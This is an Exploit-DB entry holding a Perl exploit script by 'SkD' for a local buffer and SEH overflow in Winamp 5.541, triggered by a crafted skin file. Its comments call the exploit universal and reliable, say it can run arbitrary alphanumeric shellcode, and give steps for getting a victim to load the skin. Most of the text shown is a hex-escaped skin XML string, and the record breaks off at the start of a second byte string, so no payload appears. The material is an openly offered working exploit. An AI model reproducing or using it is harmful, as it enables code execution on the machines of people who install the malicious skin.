Exploit-DB #8158
Description: Winamp 5.541 - Skin Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-03-05
Author: SkD

Exploit:
#!/usr/bin/perl
#
# WinAmp <= 5.541 Skin Universal Buffer Overflow Exploit
#
# Discovered and Exploited by SkD (skdrat@hotmail.com)
# -----------------------------------------------------
# WinAmp = http://www.winamp.com
#
# Who doesn't use WinAmp?
#
# This was an 0day for sometime but with the release of
# the new version 5.55, it fixed the buffer overflow vuln.
# I made it universal and very reliable.
# The vulnerability is a mixture of a standard buffer overflow
# with a SEH overflow, so to make it more stable,
# both of the scenarios will be exploited accordingly when one
# is triggered with my exploit :).
# The exploit can also run any shellcode (alpha) so this makes
# it ever so useful.
#
# Instructions:-
# -Run script.
# -Copy the created exploit directory "SkD's Skin" to
# "C:\Program Files\WinAmp\Skins"  OR just install it.
# -Choose the skin from WinAmp :)
#
# Enjoy it ladies and gents :)
#
# Shouts out to: -KkD
# 		 -InTeL
#		 -Jayji
# 		 -str0ke
#
# Note: Author has no responsibility over the damage done with this!

use strict;
use warnings;

my $skin_xml =     "\xEF\xBB\xBF\x3C\x3F\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D".
	           "\x22\x55\x54\x46\x2D\x38\x22\x20\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65\x3D\x22\x79\x65\x73\x22\x3F\x3E\x0D\x0A\x0D\x0A\x3C\x57".
	           "\x69\x6E\x61\x6D\x70\x41\x62\x73\x74\x72\x61\x63\x74\x69\x6F\x6E\x4C\x61\x79\x65\x72\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31".
	           "\x2E\x33\x34\x22\x3E\x0D\x0A\x09\x3C\x73\x6B\x69\x6E\x69\x6E\x66\x6F\x3E\x0D\x0A\x09\x09\x3C\x76\x65\x72\x73\x69\x6F\x6E\x3E\x31".
		   "\x2E\x32\x3C\x2F\x76\x65\x72\x73\x69\x6F\x6E\x3E\x0D\x0A\x09\x09\x3C\x6E\x61\x6D\x65\x3E\x42\x65\x6E\x74\x6F\x3C\x2F\x6E\x61\x6D".
		   "\x65\x3E\x0D\x0A\x09\x09\x3C\x61\x75\x74\x68\x6F\x72\x3E\x53\x6B\x44\x3C\x2F\x61\x75\x74\x68\x6F\x72\x3E\x0D\x0A\x09\x09\x3C\x63".
		   "\x6F\x6D\x6D\x65\x6E\x74\x3E\x53\x6B\x44\x3C\x2F\x63\x6F\x6D\x6D\x65\x6E\x74\x3E\x0D\x0A\x09\x09\x3C\x65\x6D\x61\x69\x6C\x3E\x73".
		   "\x6B\x64\x72\x61\x74\x40\x68\x6F\x74\x6D\x61\x69\x6C\x2E\x63\x6F\x6D\x3C\x2F\x65\x6D\x61\x69\x6C\x3E\x0D\x0A\x09\x09\x3C\x73\x63".
		   "\x72\x65\x65\x6E\x73\x68\x6F\x74\x3E\x53\x6B\x44\x73\x68\x6F\x74\x2E\x70\x6E\x67\x3C\x2F\x73\x63\x72\x65\x65\x6E\x73\x68\x6F\x74".
		   "\x3E\x0D\x0A\x09\x09\x3C\x68\x6F\x6D\x65\x70\x61\x67\x65\x3E\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x53\x6B\x44\x2E\x63\x6F".
		   "\x6D\x2F\x3C\x2F\x68\x6F\x6D\x65\x70\x61\x67\x65\x3E\x0D\x0A\x09\x3C\x2F\x73\x6B\x69\x6E\x69\x6E\x66\x6F\x3E\x0D\x0A\x0D\x0A\x09".
		   "\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x73\x20\x73\x65\x63\x74\x69\x6F\x6E\x3D\x22\x67\x65\x6E\x65\x72\x61\x6C\x22\x3E".
		   "\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x46\x22\x20\x61\x63".
		   "\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x46\x49\x4C\x45\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63".
		   "\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x50\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D".
		   "\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x50\x4C\x41\x59\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74".
		   "\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x4F\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B".
		   "\x45\x59\x5F\x4F\x50\x54\x49\x4F\x4E\x53\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62".
		   "\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x49\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x56".
		   "\x49\x45\x57\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C".
		   "\x74\x2B\x48\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x48\x45\x4C\x50\x22\x20\x2F\x3E".
		   "\x0D\x0A\x09\x3C\x2F\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x73\x3E\x0D\x0A\x0D\x0A\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61".
		   "\x74\x6F\x72\x73\x20\x73\x65\x63\x74\x69\x6F\x6E\x3D\x22\x6E\x6F\x72\x6D\x61\x6C\x22\x3E\x0D\x0A\x09\x09\x09\x3C\x61\x63\x63\x65".
		   "\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x73\x70\x61\x63\x65\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x53\x48\x4F".
		   "\x57\x5F\x43\x55\x52\x52\x45\x4E\x54\x5F\x54\x52\x41\x43\x4B\x22\x20\x2F\x3E\x0D\x0A\x09\x3C\x2F\x61\x63\x63\x65\x6C\x65\x72\x61".
		   "\x74\x6F\x72\x73\x3E\x0D\x0A\x0D\x0A\x09\x3C\x21\x2D\x2D\x20\x54\x68\x69\x73\x20\x53\x6B\x69\x6E\x20\x75\x73\x65\x73\x20\x73\x68".
		   "\x61\x72\x65\x64\x20\x47\x72\x61\x70\x68\x69\x63\x73\x2C\x20\x58\x4D\x4C\x20\x61\x6E\x64\x20\x4D\x61\x6B\x69\x20\x66\x72\x6F\x6D".
		   "\x20\x27\x42\x69\x67\x20\x42\x65\x6E\x74\x6F\x27\x20\x2D\x2D\x3E\x0D\x0A\x0D\x0A\x09\x3C\x73\x63\x72\x69\x70\x74\x73\x3E\x0D\x0A".
		   "\x09\x09\x3C\x73\x63\x72\x69\x70\x74\x20\x66\x69\x6C\x65\x3D\x22\x73\x2E\x6D\x61\x6B\x69\x22\x20\x70\x61\x72\x61\x6D\x3D\x22\x73".
		   "\x6D\x61\x6C\x6C\x22\x2F\x3E\x20\x3C\x21\x2D\x2D\x20\x4D\x75\x73\x74\x20\x62\x65\x20\x6C\x6F\x61\x64\x65\x64\x20\x61\x74\x20\x66".
		   "\x69\x72\x73\x74\x20\x2D\x2D\x3E\x0D\x0A\x09\x3C\x2F\x73\x63\x72\x69\x70\x74\x73\x3E\x0D\x0A\x0D\x0A\x09\x3C\x69\x6E\x63\x6C\x75".
		   "\x64\x65\x20\x66\x69\x6C\x65\x3D\x22\x73\x2E\x6D\x61\x6B\x69\x22\x2F\x3E\x0D\x0A\x0D\x0A\x09\x3C\x73\x63\x72\x69\x70\x74\x73\x3E".
		   "\x0D\x0A\x09\x09\x3C\x73\x63\x72\x69\x70\x74\x20\x66\x69\x6C\x65\x3D\x22\x73\x2E\x6D\x61\x6B\x69\x22\x20\x70\x61\x72\x61\x6D\x3D".
		   "\x22\x31\x33\x30\x2C\x31\x38\x22\x2F\x3E\x0D\x0A\x09\x3C\x2F\x73\x63\x72\x69\x70\x74\x73\x3E\x0D\x0A\x0D\x0A\x3C\x2F\x57\x69\x6E".
		   "\x61\x6D\x70\x41\x62\x73\x74\x72\x61\x63\x74\x69\x6F\x6E\x4C\x61\x79\x65\x72\x3E";

my $maki_script1 = "\x46\x47\x03\x04\x17\x00\x00\x00\x27\x00\x00\x00\x71